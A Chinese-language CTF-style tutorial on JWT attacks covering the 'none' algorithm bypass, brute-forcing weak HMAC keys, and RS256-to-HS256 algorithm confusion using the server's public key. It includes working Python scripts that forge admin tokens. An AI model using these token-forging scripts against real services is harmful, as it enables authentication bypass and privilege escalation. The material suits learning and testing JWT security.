敏感信息泄露
http://jwt.io
使用这个网站,把token进行加载即可
然后两部分拼接即可
无签名
none时侯,一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证
import jwt
token = jwt.encode(
{
"username": "admin",
"password": "admin",
"role":"admin"
},
algorithm="none",key=""
)
print(token)
最后可以得到 eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
弱密钥
如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag
下载这个链接的工具
工具链接
HSA正好是对称加密算法
使用header+payload 爆破能爆出密钥
然后带回去
之后能抛出flag
修改签名算法
有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。
主要是这个python脚本
# coding=GBK
import hmac
import hashlib
import base64
'''这个是通过命令行执行的,看见以后请返回'''
file = open('publickey.pem')
key = file.read()
# Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'
# Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")
# Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")
# Concatenating header and payload
token = (encodeHeader + "." + encodePayload)
# Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")
print(token + "." + sig)`
里面的公钥保存下来,以open的形式去读取
[好多师傅都是说直接读取会有一些问题,所以保存下来进行读取会比较好]
之后吧token替换掉就可以了。
- 后端生成的 JWT 是私钥加密
- 前端收到 JWT 后,通过更改签名方法,然后使用 HS256 加密,密钥使用 public.pem。
- 后端去验证此签名,发现 Header 中是 HS256,那么它就使用 HS256,并且拿着 public.pem 去验证,对比签名肯定成功。[原本应该是后端使用 RS256,使用 public.pem 去验证你签名,当测试人员用 public.pem 去对 Header、Payload 加密得到签名,由于已经篡改了数据签名产生变化,拿公钥加密此时后端再用公钥肯定解不开(私钥加密公钥解,公钥加密私钥解)。]